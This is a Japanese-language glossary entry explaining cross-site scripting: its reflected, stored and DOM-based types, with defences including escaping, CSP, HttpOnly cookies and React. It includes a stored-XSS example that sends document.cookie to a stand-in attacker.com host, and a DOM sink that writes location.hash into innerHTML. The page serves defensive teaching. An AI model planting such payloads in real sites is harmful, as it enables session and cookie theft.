XSS
Web サイトに悪意のあるスクリプトを注入し、ユーザーの情報を盗む攻撃
XSS とは
XSS (Cross-Site Scripting) は、Web サイトに悪意のある JavaScript を注入し、ユーザーの Cookie、セッション、個人情報を盗む攻撃である。OWASP Top 10 に常にランクインする主要な脆弱性。詳細は「XSS 詳解」を参照。
3 つの種類
3 つの種類を以下にまとめる。
| 種類 | 説明 | 例 |
|---|---|---|
| 反射型 (Reflected) | URL パラメータ経由で注入 | ?q=<script>alert(1)</script> |
| 格納型 (Stored) | DB に保存されたスクリプトが表示 | コメント欄にスクリプトを投稿 |
| DOM ベース | クライアント側の JS で注入 | innerHTML に未サニタイズの値 |
攻撃の例
攻撃の例を以下に示す。
<!-- 格納型 XSS: コメント欄に投稿 -->
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
<!-- DOM ベース XSS -->
<script>
document.getElementById('output').innerHTML = location.hash.slice(1);
// URL: https://example.com/#<img src=x onerror=alert(1)>
</script>
防御策
防御策を以下にまとめる。
| 対策 | 説明 |
|---|---|
| 出力エスケープ | HTML エンティティに変換 (< → <) |
| CSP | スクリプトの実行元を制限 |
| HttpOnly Cookie | JS から Cookie にアクセス不可 |
| React の自動エスケープ | JSX は自動的にエスケープ |
React での防御
React での防御のコード例を示す。
// ✅ React は自動的にエスケープ
<p>{userInput}</p>
// userInput が "<script>alert(1)</script>" でも
// → <script>alert(1)</script> として表示
// ❌ dangerouslySetInnerHTML は XSS の危険
<div dangerouslySetInnerHTML={{ __html: userInput }} />
CSP (Content Security Policy)
CSP (Content Security Policy) を図で示す。
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
インラインスクリプトの実行を禁止し、許可されたオリジンからのスクリプトのみ実行を許可する。
実務での活用方法は関連書籍にも詳しい。
この記事は役に立ちましたか?
関連用語
セキュリティヘッダー
HTTP レスポンスヘッダーでブラウザのセキュリティ機能を制御し、XSS やクリックジャッキングを防ぐ仕組み
CSP レポート
Content Security Policy 違反をブラウザがサーバーに自動報告し、XSS やデータ漏洩を検知する仕組み
CSP
Content Security Policy の略で、Web ページで実行可能なリソースの出所を制限するセキュリティ機構
ShellScript
シェルのコマンドをまとめて自動実行するスクリプト。作業の自動化に使われる
Service Worker
ブラウザとネットワークの間でプロキシとして動作し、オフライン対応やキャッシュ制御を実現する Web API
Bash
Linux で標準的に使われるシェル。macOS にも同梱され、コマンド操作と自動化の中心になる
関連する記事
体系的に学ぶ 安全な Web アプリケーションの作り方 第 2 版は初版と何が違うか - 買い直し判断ガイド
通称「徳丸本」こと体系的に学ぶ 安全な Web アプリケーションの作り方 第 2 版 (2018 年) と初版 (2011 年) の違いを出版社公表の改訂内容から整理。章の削除 / 新設 / 追加点の一覧と、初版所有者が買い直すべきかの判断基準を解説します。
セキュリティ本ガイド - Web 開発者が読むべき技術書の選び方
Web セキュリティの基礎から実践まで学べる技術書の選び方マトリクスと、読了後にやるべき 3 つのアクションを紹介します。
読む前にパラパラめくるだけで理解度が上がる - 技術書の予習法
技術書を最初から順に読み始めると挫折しやすい。読む前に数分パラパラめくるだけで全体像がつかめ、本文で迷って戻る回数が減る理由とやり方を解説。